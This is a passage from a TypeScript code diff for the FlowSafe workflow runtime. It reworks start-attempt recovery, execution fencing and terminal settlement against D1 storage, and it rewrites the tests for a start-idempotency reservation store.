physical.tablePrefix, + workflowId, + runId, + }), + snapshot, + summary: summaryFromSelectedSnapshot( + runId, + snapshot, + { createdAt: toIso(createdAt), updatedAt: toIso(updatedAt) }, + provenance, + ), + }; + const execution = runExecutionIdentityFor( + { tablePrefix: physical.tablePrefix, workflowId, runId }, + provenance, + ); + const state = + snapshot.status === 'pending' + ? { kind: 'initial' as const, snapshot, provenance } + : { + kind: 'result' as const, + snapshot, + provenance, + summary: summaryFromSelectedSnapshot( + runId, snapshot, + { createdAt: toIso(createdAt), updatedAt: toIso(updatedAt) }, provenance, - summary: summaryFromSelectedSnapshot( - runId, - snapshot, - { createdAt: toIso(createdAt), updatedAt: toIso(updatedAt) }, - provenance, - ), - }; - return source.storage === 'd1' - ? { - ...state, - storage: 'd1', - execution: Object.freeze({ - ...execution, - tablePrefix: source.tablePrefix, - }), - raw: source.raw, - } - : { - ...state, - storage: 'unfenced', - execution: Object.freeze({ ...execution, tablePrefix: null }), + ), }; - } catch (cause) { - throw new RunStateUnreadableError(workflowId, runId, { cause }); - } + return physical.storage === 'd1' + ? { + ...state, + storage: 'd1', + execution: Object.freeze({ + ...execution, + tablePrefix: physical.tablePrefix, + }), + raw: physical.raw, + } + : { + ...state, + storage: 'unfenced', + execution: Object.freeze({ ...execution, tablePrefix: null }), + }; } - /** - * Reconcile an interrupted start against the token stored in the - * authoritative workflow snapshot. Mastra's `createRun()` first persists a - * tokenless pending shell; if no executed snapshot replaced it, the shell is - * abandoned and must not become a successful FlowSafe run. - */ + /** @internal Recover only after the exact owning execution has unwound. */ async recoverStartAttempt( - workflowId: string, - runId: string, - attemptToken: string, - ): Promise { - if (!isPathSafeId(attemptToken)) { - throw new InvalidRunRequestError('attemptToken is malformed'); + value: D1RunExecutionIdentity, + recovery: { + attemptToken: string; + isOwnerQuiescent: () => boolean | Promise; + startReservation?: StartReservationReading; + expectedTarget?: RecoveryTargetExpectation; + }, + ): Promise { + const execution = normalizeD1RunExecutionIdentity(value); + const { + attemptToken, + isOwnerQuiescent, + startReservation: suppliedClaim, + expectedTarget: suppliedTarget, + } = recovery; + let expectedTarget: RecoveryTargetExpectation | undefined; + if (suppliedTarget !== undefined) { + if ( + suppliedTarget === null || + typeof suppliedTarget !== 'object' || + Array.isArray(suppliedTarget) + ) + throw new InvalidRunRequestError('start recovery target is malformed'); + const { kind } = suppliedTarget; + if (kind === 'workflow') expectedTarget = Object.freeze({ kind }); + else if (kind === 'agent') { + const { owner, id, threadId, threaded } = suppliedTarget; + const identity = normalizeStartIdentity({ + owner, + target: { kind, id, threadId }, + }); + if (typeof threaded !== 'boolean') + throw new InvalidRunRequestError( + 'start recovery target is malformed', + ); + expectedTarget = Object.freeze({ + kind, + id: identity.target.id, + threadId, + owner: identity.owner, + threaded, + }); + } else + throw new InvalidRunRequestError('start recovery target is malformed'); } + const assertExpectedTarget = (state: AuthoritativeStartState): void => { + if (!expectedTarget) return; + const { startIdentity, agentStart } = state.provenance; + if (expectedTarget.kind === 'workflow') { + if ( + startIdentity?.target.kind !== 'workflow' || + startIdentity.target.id !== state.execution.workflowId || + agentStart !== undefined + ) + throw new Error('recovery workflow target disagrees with execution'); + } else if ( + startIdentity?.target.kind !== 'agent' || + startIdentity.target.id !== expectedTarget.id || + startIdentity.target.threadId !== expectedTarget.threadId || + startIdentity.owner.kind !== expectedTarget.owner.kind || + startIdentity.owner.id !== expectedTarget.owner.id || + agentStart?.threaded !== expectedTarget.threaded + ) + throw new Error('recovery agent target disagrees with execution'); + }; + const claim = + suppliedClaim === undefined + ? undefined + : captureReservation(suppliedClaim, 'started'); + if (!isPathSafeId(attemptToken) || typeof isOwnerQuiescent !== 'function') + throw new InvalidRunRequestError('start recovery authority is malformed'); + if (claim && !this.#startIdempotency) + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', + ); + const { workflowId, runId } = execution; const workflow = this.#getWorkflow(workflowId); - return this.#withRunLock(workflowId, runId, async () => { - const state = await this.#workflowState(workflow, runId); - if (!state) return null; - // A read that did not reach storage cannot settle an interrupted start. - // The in-memory fallback carries no requestContext, so the token below - // can never match, and the 'pending' status it reports for a run that - // has not been resumed falls straight into the delete branch — which - // would destroy a live row and its snapshot behind a lagging read. The - // throw defers only a no-op: under the marker either the row exists, and - // deleting it destroys live state, or it does not, and the delete does - // nothing. A genuinely abandoned shell on an isolate that holds no Run - // carries no marker and converges here exactly as before. - if (state.isFromInMemory === true) { - throw new RunStateUnreadableError(workflowId, runId); - } - const provenance = runProvenance(state); - if (provenance?.startToken === attemptToken) { - return summarizeState( - runId, - state, - new Map(provenance.resumeCounts), - provenance.requestedBy, - provenance.requestedByKind, + return this.#withRunLock(workflowId, runId, () => + this.#withLifecycleLock(workflowId, runId, async () => { + try { + if (this.isRunActive(workflowId, runId)) + throw new Error('run owner is not quiescent'); + const source = await this.#captureWorkflowStorage(workflow); + if ( + this.isRunActive(workflowId, runId) || + (await Reflect.apply(isOwnerQuiescent, undefined, [])) !== true || + this.isRunActive(workflowId, runId) + ) + throw new Error('run owner is not quiescent'); + const state = await this.#readStartState(source, workflowId, runId); + if (state?.kind === 'legacy') + throw new RunStateUnreadableError(workflowId, runId); + if ( + source.storage !== 'd1' || + source.tablePrefix !== execution.tablePrefix + ) + throw new Error('recovery source disagrees with execution'); + if (!state) return null; + if (!sameExecution(state.execution, execution)) + throw new Error('recovery generation disagrees with execution'); + assertExpectedTarget(state); + if (claim) { + if (!state.provenance.startIdentity) + throw new Error('recovery lacks logical identity'); + assertClaimIdentity(claim, { + ...state.provenance.startIdentity, + runId, + }); + } + let selected = state; + let transitioned = false; + let cleanup = terminalCleanupFor( + lifecycleFromRequestContext(state.snapshot.requestContext), + ); + if (state.kind === 'initial') { + if ( + !this.#executionFence || + state.storage !== 'd1' || + state.provenance.initialAdmission !== true || + state.provenance.attemptToken !== attemptToken || + state.provenance.resumeCounts.length !== 0 + ) + throw new RunStartPendingError(); + const result = await source.terminalize.call(source.capability, { + expected: state.raw, + execution, + attemptToken, + nowMs: Date.now(), + }); + if (result.kind === 'conflict') + throw new Error('initial terminalization conflicts'); + const projected = this.#projectD1StartState( + source, + workflowId, + runId, + result.row, + ); + if ( + projected.kind !== 'result' || + !sameExecution(projected.execution, execution) + ) + throw new Error('terminalization result is unresolved'); + selected = projected; + assertExpectedTarget(selected); + transitioned = result.kind === 'terminalized'; + cleanup = result.cleanup; + } + if (selected.kind !== 'result') throw new RunStartPendingError(); + if (isTerminalRunStatus(selected.summary.status)) + await this.settleStartExecution(selected, claim); + return cleanup + ? { + kind: 'lifecycle', + transition: { + summary: selected.summary, + transitioned, + casMatched: true, + cleanup, + }, + } + : { kind: 'ordinary', summary: selected.summary }; + } catch (cause) { + if ( + cause instanceof RunStartPendingError || + cause instanceof RunStateUnreadableError + ) + throw cause; + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', + { cause }, + ); + } + }), + ); + } + + /** @internal Settle the exact selected terminal generation before managed cleanup. */ + async settleStartExecution( + state: AuthoritativeStartState, + originalClaim?: StartReservationReading, + ): Promise { + const claim = + originalClaim === undefined + ? undefined + : captureReservation(originalClaim, 'started'); + if (state.kind !== 'result' || !isTerminalRunStatus(state.summary.status)) + throw new RunStartPendingError(); + const identity = state.provenance.startIdentity; + if (claim) { + if (!identity || !this.#startIdempotency) + throw new ExecutionFenceUnreadableError( + 'run start settlement is unresolved', ); - } - if (state.status === 'pending' && provenance === undefined) { - await workflow.deleteWorkflowRunById(runId); - return null; - } - throw new Error( - `run '${runId}' snapshot belongs to another start attempt`, - ); + assertClaimIdentity(claim, { ...identity, runId: state.execution.runId }); + } + if (!identity || !this.#startIdempotency) return; + await this.#startIdempotency.settleExecution({ + ...state.execution, + ...identity, }); } @@ -2306,7 +2915,9 @@ export class RunnerRuntime { nextCounts.set(stepKey, nextResumeCount(nextCounts.get(stepKey) ?? 0)); } const provenance: RunProvenance = { - version: 1, + ...(storedProvenance?.version === 2 + ? storedProvenance + : { version: 1 as const }), ...(requester === undefined ? {} : { requestedBy: requester, requestedByKind: requesterKind }), @@ -2367,25 +2978,15 @@ export class RunnerRuntime { }); } - async #loadSnapshot( - workflowId: string, - runId: string, - ): Promise { - const workflows = await this.#storage.getStore('workflows'); - if (!workflows) { - throw new Error('RunnerRuntime: workflows storage is unavailable'); - } - return workflows.loadWorkflowSnapshot({ workflowName: workflowId, runId }); - } - async #persistLifecycle( workflowId: string, runId: string, state: WorkflowRunState, lifecycle: RunLifecycleState, now: number, + source: CapturedWorkflowStorage, ): Promise { - const workflows = await this.#storage.getStore('workflows'); + const workflows = source.workflows; if (!workflows) { throw new Error('RunnerRuntime: workflows storage is unavailable'); } @@ -2397,7 +2998,7 @@ export class RunnerRuntime { }, timestamp: now, }; - await workflows.persistWorkflowSnapshot({ + await source.persist.call(workflows, { workflowName: workflowId, runId, snapshot: persisted, @@ -2409,7 +3010,22 @@ export class RunnerRuntime { async #summaryAfterPersist( workflowId: string, runId: string, + source: CapturedWorkflowStorage, + expected: RunProvenance | undefined, ): Promise { + if (expected?.version === 2) { + const selected = await this.#completedStartState( + source, + runExecutionIdentityFor( + { tablePrefix: source.tablePrefix, workflowId, runId }, + expected, + ), + expected, + ); + if (isTerminalRunStatus(selected.summary.status)) + await this.settleStartExecution(selected); + return selected.summary; + } const state = await this.#workflowState( this.#getWorkflow(workflowId), runId, @@ -2420,6 +3036,8 @@ export class RunnerRuntime { #summaryFromState(runId: string, state: WorkflowState): RunSummary { const provenance = runProvenance(state); + if (state.status === 'pending' && provenance?.version === 2) + throw new RunStartPendingError(); return summarizeState( runId, state, @@ -2432,19 +3050,50 @@ export class RunnerRuntime { async #summaryForAttempt( workflow: AnyWorkflow, runId: string, - attemptToken: string, + expected: Pick, ): Promise { - const persisted = await this.#workflowState(workflow, runId); - if (!persisted) return undefined; - const provenance = runProvenance(persisted); - if (provenance?.attemptToken !== attemptToken) return undefined; - return summarizeState( - runId, - persisted, - new Map(provenance.resumeCounts), - provenance.requestedBy, - provenance.requestedByKind, - ); + try { + if (expected.version === 2) { + const source = this.#activeRuns.get( + this.#runKey(workflow.id, runId), + )?.source; + if (!source) return undefined; + const state = await this.#completedStartState( + source, + { + tablePrefix: source.tablePrefix, + workflowId: workflow.id, + runId, + startToken: expected.startToken, + }, + expected, + ); + await this.#settleStartReservation(state); + return state.summary; + } + const persisted = await this.#workflowState(workflow, runId); + if ( + !persisted || + persisted.isFromInMemory || + persisted.status === 'pending' + ) + return undefined; + const provenance = runProvenance(persisted); + if ( + provenance?.version !== expected.version || + provenance.attemptToken !== expected.attemptToken + ) + return undefined; + return summarizeState( + runId, + persisted, + new Map(provenance.resumeCounts), + provenance.requestedBy, + provenance.requestedByKind, + ); + } catch { + return undefined; + } } async #reconcileTerminalState( @@ -2452,17 +3101,19 @@ export class RunnerRuntime { runId: string, result: CoreRunResult, requestContext: RequestContext, + source: CapturedWorkflowStorage, + proof?: D1RunExecutionIdentity, ): Promise { const opts = terminalStateUpdate(result); if (!opts) return; await this.#withLifecycleLock(workflowId, runId, async () => { - const workflows = await this.#storage.getStore('workflows'); + const workflows = source.workflows; if (!workflows) { throw new Error( 'RunnerRuntime: workflows storage is unavailable while persisting terminal state', ); } - const snapshot = await workflows.loadWorkflowSnapshot({ + const snapshot = await source.load.call(workflows, { workflowName: workflowId, runId, }); @@ -2471,6 +3122,28 @@ export class RunnerRuntime { `RunnerRuntime: run '${runId}' of workflow '${workflowId}' completed without a durable snapshot`, ); } + if (snapshot.runId !== runId) + throw new RunStateUnreadableError(workflowId, runId); + const expected = runProvenance({ + requestContext: Object.fromEntries(requestContext.entries()), + }); + const persisted = runProvenance(snapshot); + if ( + expected?.version === 2 && + ((persisted !== undefined && + (persisted.version !== 2 || + persisted.startToken !== expected.startToken)) || + (this.#executionFence && persisted?.version !== 2)) + ) + throw new RunStateUnreadableError(workflowId, runId); + if (proof) + await this.#assertRetainedResume( + source, + workflowId, + runId, + expected, + proof, + ); const persistedContext = snapshot.requestContext !== null && typeof snapshot.requestContext === 'object' && @@ -2511,7 +3184,7 @@ export class RunnerRuntime { ) { return; } - await workflows.persistWorkflowSnapshot({ + await source.persist.call(workflows, { workflowName: workflowId, runId, snapshot: { @@ -2522,11 +3195,6 @@ export class RunnerRuntime { }, }); }); - // The run is terminal and its snapshot now says so, so any idempotency key - // that named it is spent. AFTER the persist, never before: a reservation - // marked terminal ahead of a persist that then failed would answer a retry - // with ALREADY_SETTLED for a run whose settled state exists nowhere. - await this.#settleStartReservation(runId); } #getWorkflow(workflowId: string): AnyWorkflow { diff --git a/packages/flowsafe/src/do-runner/start-idempotency.test.ts b/packages/flowsafe/src/do-runner/start-idempotency.test.ts index b21c158b..4a42da7b 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.test.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.test.ts @@ -21,11 +21,7 @@ import { RunAdmissionConflictError, type StartExecutionIdentity, } from './execution-admission.js'; -import type { ExecutionFenceDatabase } from './execution-fence.js'; -import { - ExecutionFencedError, - ExecutionFenceStore, -} from './execution-fence.js'; +import { ExecutionFenceStore } from './execution-fence.js'; import { beginIdempotentStart, decodeStartReservationAdmissionResult, @@ -36,7 +32,6 @@ import { InvalidStartIdempotencyRequestError, isStartReservationRefusal, requireStartIdempotency, - rollbackFencedStart, START_IDEMPOTENCY_DDL, START_IDEMPOTENCY_TABLE, type StartIdempotencyDatabase, @@ -46,6 +41,7 @@ import { type StartReservation, StartReservationOwnerMismatchError, type StartReservationReading, + type StartReservationRequest, StartReservationTargetMismatchError, StartReservationUnreadableError, validateStartReservationAdmissionSchema, @@ -54,7 +50,7 @@ import { const OWNER = { kind: 'human', id: 'operator-1' } as const; const OTHER_OWNER = { kind: 'human', id: 'operator-2' } as const; -describe('FS8 D2 dormant reservation primitives', () => { +describe('FS8 D2 exact reservation primitives', () => { const execution: StartExecutionIdentity = { tablePrefix: '', workflowId: 'payout', @@ -74,8 +70,7 @@ describe('FS8 D2 dormant reservation primitives', () => { async function modern(state: 'reserved' | 'started' = 'reserved') { const h = harness(); const reserved = await h.store.reserve(workflowRequest('key', 'run')); - expect(reserved.reservation.binding).toEqual({ kind: 'legacy' }); - expect(rows(h.sqlite)[0]).toMatchObject(legacyBinding); + expect(reserved.reservation.binding).toEqual({ kind: 'unbound' }); h.sqlite .prepare( "UPDATE flowsafe_start_idempotency SET state = ?, start_token = ''", @@ -1130,37 +1125,6 @@ describe('FS8 D2 dormant reservation primitives', () => { expect(await h.store.settleExecution(execution)).toBe(0); expect(rows(h.sqlite)[0]?.updated_at).toBe(2_000); }); - - it('keeps modern primitives dormant during ordinary start replay rollback and terminal flows', async () => { - const h = harness(); - const spies = [...methods, 'settleExecution' as const].map((method) => - vi.spyOn(h.store, method), - ); - const request = workflowRequest('key', 'run'); - await expect( - beginIdempotentStart(h.store, request, EMPTY_SURFACE), - ).resolves.toMatchObject({ kind: 'start' }); - expect(await h.store.release('key', 'run')).toBe(true); - await expect( - beginIdempotentStart(h.store, request, EMPTY_SURFACE), - ).resolves.toMatchObject({ kind: 'start' }); - await expect( - beginIdempotentStart(h.store, request, { - ...EMPTY_SURFACE, - persisted: async () => 'done', - }), - ).resolves.toMatchObject({ kind: 'replay', persisted: 'done' }); - expect(await h.store.settleRun('run')).toBe(1); - h.sqlite.exec( - 'UPDATE flowsafe_start_idempotency SET created_at = 100, updated_at = -0.5', - ); - expect((await h.store.read('key'))?.updatedAt).toBe(-0.5); - expect(rows(h.sqlite)[0]).toMatchObject(legacyBinding); - for (const spy of spies) { - expect(spy).not.toHaveBeenCalled(); - spy.mockRestore(); - } - }); }); describe('strict initial-admission reservation observations', () => { @@ -1615,7 +1579,7 @@ describe('reservation binding representation', () => { await expect( store.reserve(workflowRequest('new', 'new-run')), ).resolves.toMatchObject({ - reservation: { binding: { kind: 'legacy' } }, + reservation: { binding: { kind: 'unbound' } }, }); else { const error = await store @@ -1818,19 +1782,6 @@ describe('reservation binding representation', () => { } }); - it('keeps reserve claim release and settle on legacy-null rows in A', async () => { - const { store, sqlite } = harness(); - const created = await store.reserve(workflowRequest('key', 'run')); - expect(created.reservation.binding).toEqual({ kind: 'legacy' }); - expect(await store.claim('key', 'run')).toBe(true); - expect(await store.release('key', 'run')).toBe(true); - expect(await store.claim('key', 'run')).toBe(true); - expect(await store.settleRun('run')).toBe(1); - expect(rows(sqlite)).toEqual([ - expect.objectContaining({ ...legacyBinding, state: 'terminal' }), - ]); - }); - it('captures the first ready getter result with the store receiver', async () => { const { sqlite, binding } = harness(); let getterReads = 0; @@ -1890,7 +1841,7 @@ describe('reservation binding representation', () => { targetId: 'agent', threadId: 'thread', runId: 'run', - binding: { kind: 'legacy' }, + binding: { kind: 'unbound' }, }); const counts = new Map(); const data = workflowRequest('getter-key', 'getter-run'); @@ -2263,116 +2214,6 @@ describe('StartIdempotencyStore.reserve', () => { }); }); -describe('StartIdempotencyStore.claim', () => { - it('lets exactly one of many concurrent callers through', async () => { - // #given one reservation and five callers racing its claim — the - // cross-isolate race the agent surface cannot serialize any other way - const { store } = harness(); - const { reservation } = await store.reserve( - workflowRequest('key-1', 'run-1'), - ); - - // #when - const outcomes = await Promise.all( - Array.from({ length: 5 }, () => - store.claim(reservation.key, reservation.runId), - ), - ); - - // #then exactly one winner. Not "at most one", not "usually one". - expect(outcomes.filter(Boolean)).toHaveLength(1); - }); - - it('refuses a claim naming a different run than the reservation holds', async () => { - // #given - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - - // #when / #then a claim can never land on a row rewritten underneath it - expect(await store.claim('key-1', 'run-other')).toBe(false); - }); - - it('cannot re-claim a reservation that is already started', async () => { - // #given a claimed reservation - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - expect(await store.claim('key-1', 'run-1')).toBe(true); - - // #when / #then - expect(await store.claim('key-1', 'run-1')).toBe(false); - }); -}); - -describe('StartIdempotencyStore.release', () => { - it('returns a claim to reserved so a retry after the fence reopens converges', async () => { - // #given a claim taken and then refused by the fence - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); - - // #when - expect(await store.release('key-1', 'run-1')).toBe(true); - - // #then the SAME run id is claimable again — a fence transition mid-start - // must not manufacture an unresolvable reservation out of an operator - // action, nor hand the retry a second run. - expect((await store.read('key-1'))?.state).toBe('reserved'); - expect(await store.claim('key-1', 'run-1')).toBe(true); - expect((await store.read('key-1'))?.runId).toBe('run-1'); - }); - - it('cannot release a reservation that already settled', async () => { - // #given a terminal reservation - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); - await store.settleRun('run-1'); - - // #when / #then a spent key never becomes startable again - expect(await store.release('key-1', 'run-1')).toBe(false); - expect((await store.read('key-1'))?.state).toBe('terminal'); - }); -}); - -describe('StartIdempotencyStore.settleRun', () => { - it('marks the run’s reservation terminal and stamps the horizon from that moment', async () => { - // #given a claimed reservation, and a clock that moves - let now = 1_000; - const { store } = harness(() => now); - await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); - now = 5_000; - - // #when - expect(await store.settleRun('run-1')).toBe(1); - - // #then - const stored = await store.read('key-1'); - expect(stored?.state).toBe('terminal'); - expect(stored?.updatedAt).toBe(5_000); - }); - - it('is a no-op the second time, so every terminal path may call it', async () => { - // #given — a run can reach terminal by completing, failing, being cancelled - // or timing out, and those paths do not coordinate. - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - await store.settleRun('run-1'); - - // #when / #then - expect(await store.settleRun('run-1')).toBe(0); - }); - - it('settles nothing for a run nobody reserved', async () => { - // #given the overwhelmingly common case: a run started without a key - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - - // #when / #then - expect(await store.settleRun('run-unrelated')).toBe(0); - }); -}); - describe('StartIdempotencyStore against a missing table', () => { it('reads as absent, and neither claims nor settles', async () => { // #given a database on which no key has ever been used, so the lazy DDL @@ -2382,9 +2223,7 @@ describe('StartIdempotencyStore against a missing table', () => { // #when / #then absence is not a fault — it is an empty table by another // name — but it must also never look like a successful transition. expect(await store.read('key-1')).toBeUndefined(); - expect(await store.claim('key-1', 'run-1')).toBe(false); - expect(await store.release('key-1', 'run-1')).toBe(false); - expect(await store.settleRun('run-1')).toBe(0); + expect(await store.reservationsForRuns(['run-1'])).toEqual([]); }); @@ -2435,7 +2274,12 @@ describe('beginIdempotentStart', () => { const { store } = harness(); const persisted = new Map(); const surface: IdempotentStartSurface = { - persisted: async (reservation) => persisted.get(reservation.runId), + persisted: async (reservation) => { + const value = persisted.get(reservation.runId); + return value === undefined + ? undefined + : { kind: 'result', value, execution: executionFor(reservation) }; + }, live: async () => false, }; @@ -2466,13 +2310,20 @@ describe('beginIdempotentStart', () => { // whose run persisted const { store } = harness(); await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); + await claimObserved(store, 'key-1'); // #when const decision = await beginIdempotentStart( store, workflowRequest('key-1', 'run-2'), - { persisted: async () => 'summary', live: async () => false }, + { + persisted: async (row) => ({ + kind: 'result', + value: 'summary', + execution: executionFor(row), + }), + live: async () => false, + }, ); // #then the persisted state wins over the row's state: a stale `started` @@ -2498,7 +2349,7 @@ describe('beginIdempotentStart', () => { // that can never be used again. expect(decision).toMatchObject({ kind: 'start', - reservation: { runId: 'run-1', state: 'reserved' }, + reservation: { runId: 'run-1', state: 'started' }, }); }); @@ -2510,7 +2361,7 @@ describe('beginIdempotentStart', () => { const { store } = harness(() => now); await store.reserve(workflowRequest('key-1', 'run-1')); now = 2_500; - await store.claim('key-1', 'run-1'); + await claimObserved(store, 'key-1'); // #when const refusal = await beginIdempotentStart( @@ -2536,7 +2387,7 @@ describe('beginIdempotentStart', () => { // persisted, and the host that took it is gone const { store } = harness(); await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); + await claimObserved(store, 'key-1'); // #when const refusal = await beginIdempotentStart( @@ -2560,8 +2411,8 @@ describe('beginIdempotentStart', () => { // #given a completed run whose snapshot the retention purge removed const { store } = harness(); await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); - await store.settleRun('run-1'); + await claimObserved(store, 'key-1'); + await settleObserved(store, 'key-1'); // #when const refusal = await beginIdempotentStart( @@ -2625,17 +2476,16 @@ describe('beginIdempotentStart', () => { // creating the row entitles A to start it, and if both ever believed they // could, the key would have bought nothing. const { store } = harness(); + let winnerLive = false; const live: IdempotentStartSurface = { persisted: async () => undefined, - // The winner IS executing — the realistic state of the world at the - // moment the loser asks. - live: async () => true, + live: async () => winnerLive, }; const decisions: string[] = []; let loserDecision: unknown; - const realClaim = store.claim.bind(store); + const realClaim = store.claimReservation.bind(store); let interleaved = false; - store.claim = async (key: string, runId: string) => { + store.claimReservation = async (row) => { if (!interleaved) { // B arrives in the window between A's insert and A's claim. interleaved = true; @@ -2644,8 +2494,9 @@ describe('beginIdempotentStart', () => { workflowRequest('key-1', 'run-B'), live, ); + winnerLive = true; } - return realClaim(key, runId); + return realClaim(row); }; // #when A (the creator) races its own claim against B's @@ -2790,162 +2641,6 @@ describe('beginIdempotentStart', () => { }); }); -describe('rollbackFencedStart', () => { - it('gives the claim back for a fence refusal and re-throws it unchanged', async () => { - // #given a claim consumed by a start the fence refused — provably - // pre-execution, because the fence is read before the run lock - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); - const fenced = new ExecutionFencedError('migration-locked', 'run start'); - - // #when - const thrown = await rollbackFencedStart( - store, - 'key-1', - 'run-1', - fenced, - ).catch((error: unknown) => error); - - // #then the caller still sees the fence's own refusal, and the key is - // usable again once the operator reopens. - expect(thrown).toBe(fenced); - expect((await store.read('key-1'))?.state).toBe('reserved'); - }); - - it('recognizes a fence refusal that crossed a Durable Object boundary', async () => { - // #given the shape a fenced run-DO start takes on the Worker side: the - // class is gone, the status and structured reason survive - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); - const wire = Object.assign(new Error('deployment execution is fenced'), { - status: 503, - reason: { code: 'EXECUTION_FENCED', state: 'migration-locked' }, - }); - - // #when - await rollbackFencedStart(store, 'key-1', 'run-1', wire).catch( - () => undefined, - ); - - // #then rolled back all the same — an instanceof-only test would answer - // "not a fence refusal" for every caller on the far side of the boundary, - // which is where the run router actually sits. - expect((await store.read('key-1'))?.state).toBe('reserved'); - }); - - it('KEEPS the claim for any other start failure', async () => { - // #given a start that failed for a reason that may well have executed - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); - - // #when - await rollbackFencedStart( - store, - 'key-1', - 'run-1', - new Error('step exploded'), - ).catch(() => undefined); - - // #then still claimed: releasing here would hand the next retry a second - // run after a start that may already have charged somebody. - expect((await store.read('key-1'))?.state).toBe('started'); - }); - - it('completes the whole round trip: claim, fence refusal, release, reopen, and ONE execution of the same run', async () => { - // #given a real fence and a real reservation over one database, and a host - // whose start executes paid work — the shape the round trip has to be - // proved in, because each half of it is only correct given the other. - const sqlite = openSqlite(); - const binding = sqliteUnitDatabase(sqlite); - const store = new StartIdempotencyStore( - binding as StartIdempotencyDatabase, - ); - const fence = new ExecutionFenceStore(binding as ExecutionFenceDatabase); - await fence.seed('open'); - await fence.transition({ expected: 'open', next: 'migration-locked' }); - let executions = 0; - const startRun = async (): Promise => { - const reading = await fence.read(); - if (reading.state !== 'open') { - throw new ExecutionFencedError(reading.state, 'run start'); - } - executions += 1; - }; - const attempt = async (candidate: string): Promise => { - const decision = await beginIdempotentStart( - store, - workflowRequest('key-1', candidate), - EMPTY_SURFACE, - ); - if (decision.kind !== 'start') throw new Error('expected a start'); - const { key, runId } = decision.reservation; - try { - await startRun(); - } catch (error) { - return rollbackFencedStart(store, key, runId, error); - } - return decision.reservation; - }; - - // #when the fenced attempt is refused, the operator reopens, and the client - // retries with the same key - const refused = await attempt('run-1').catch((error: unknown) => error); - expect(refused).toBeInstanceOf(ExecutionFencedError); - expect((await store.read('key-1'))?.state).toBe('reserved'); - await fence.transition({ expected: 'migration-locked', next: 'open' }); - const started = await attempt('run-ignored'); - - // #then the retry ran the SAME run the fenced attempt reserved, exactly - // once. A rollback that did not land would have left the key UNRESOLVABLE - // forever; a rollback that handed back a fresh run id would have made an - // operator's drain the cause of a second charge. - expect(started.runId).toBe('run-1'); - expect(executions).toBe(1); - expect((await store.read('key-1'))?.state).toBe('started'); - }); - - it('still re-throws the fence refusal when the release itself fails', async () => { - // #given a claimed reservation and a store whose release cannot be written - // — a storage incident arriving during a deployment that is already - // refusing to execute - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); - store.release = async () => { - throw new Error('D1_ERROR: network'); - }; - const fenced = new ExecutionFencedError('migration-locked', 'run start'); - - // #when - const thrown = await rollbackFencedStart( - store, - 'key-1', - 'run-1', - fenced, - ).catch((error: unknown) => error); - - // #then the caller sees the FENCE's refusal, not the storage error: - // swallowing it would leave the caller believing the deployment is broken - // rather than fenced, and the rollback's own failure is not something the - // caller can act on. - expect(thrown).toBe(fenced); - // The claim stayed taken, so the key is now UNRESOLVABLE rather than - // startable — recoverable by investigation, which is the direction this - // best-effort rollback deliberately fails in. - expect((await store.read('key-1'))?.state).toBe('started'); - await expect( - beginIdempotentStart( - store, - workflowRequest('key-1', 'run-2'), - EMPTY_SURFACE, - ), - ).rejects.toBeInstanceOf(IdempotentStartUnresolvableError); - }); -}); - describe('requireStartIdempotency', () => { it('refuses a key on a host that wired no store', () => { // #given / #when / #then honouring the key silently would answer an @@ -2985,108 +2680,681 @@ describe('reservationsForRuns', () => { }); }); -describe('proof-only composition', () => { - it('re-asserts the proof binding on a REPLAY, so a run whose binding was lost stays resumable', async () => { - // #given a proof-only deployment whose proof run already exists and - // persisted, but whose fence has lost its proof_run_id — the shape left by - // a fence moved away and back onto the same key while the run survived. - // Without the binding, proof-only admits no resume for it at all. - const sqlite = openSqlite(); - const binding = sqliteUnitDatabase(sqlite); - const store = new StartIdempotencyStore( - binding as StartIdempotencyDatabase, +function executionFor(row: StartReservationReading): StartExecutionIdentity { + return { + tablePrefix: '', + workflowId: row.targetKind === 'workflow' ? row.targetId : 'agent-loop', + runId: row.runId, + startToken: 'generation', + owner: row.owner, + target: + row.targetKind === 'workflow' + ? { kind: 'workflow', id: row.targetId } + : { kind: 'agent', id: row.targetId, threadId: row.threadId as string }, + }; +} +async function claimObserved(store: StartIdempotencyStore, key: string) { + const row = await store.readForAdmission(key); + if (!row) throw new Error('fixture reservation missing'); + const claim = await store.claimReservation(row); + if (!claim) throw new Error('fixture claim missing'); + return claim; +} +async function settleObserved(store: StartIdempotencyStore, key: string) { + const row = await store.readForAdmission(key); + if (!row) throw new Error('fixture reservation missing'); + const execution = executionFor(row); + await store.associateReservation(row, execution); + return store.settleExecution(execution); +} + +describe('FS8 D3 F3 activation', () => { + it.each([ + ['same-tick clock', 1_000], + ['backward clock', 900], + ] as const)('keeps a delayed creator pending after another caller releases its claim (%s)', async (_scenario, laterClock) => { + let clock = 1_000; + const h = harness(() => clock); + const other = new StartIdempotencyStore(h.binding, { now: () => clock }); + let entered!: () => void; + let release!: () => void; + const waiting = new Promise((resolve) => { + entered = resolve; + }); + const gate = new Promise((resolve) => { + release = resolve; + }); + const read = h.store.read.bind(h.store); + vi.spyOn(h.store, 'read').mockImplementationOnce(async (key) => { + entered(); + await gate; + return read(key); + }); + const live = vi.fn(async () => true); + const surface = { persisted: async () => undefined, live }; + const claim = vi.spyOn(h.store, 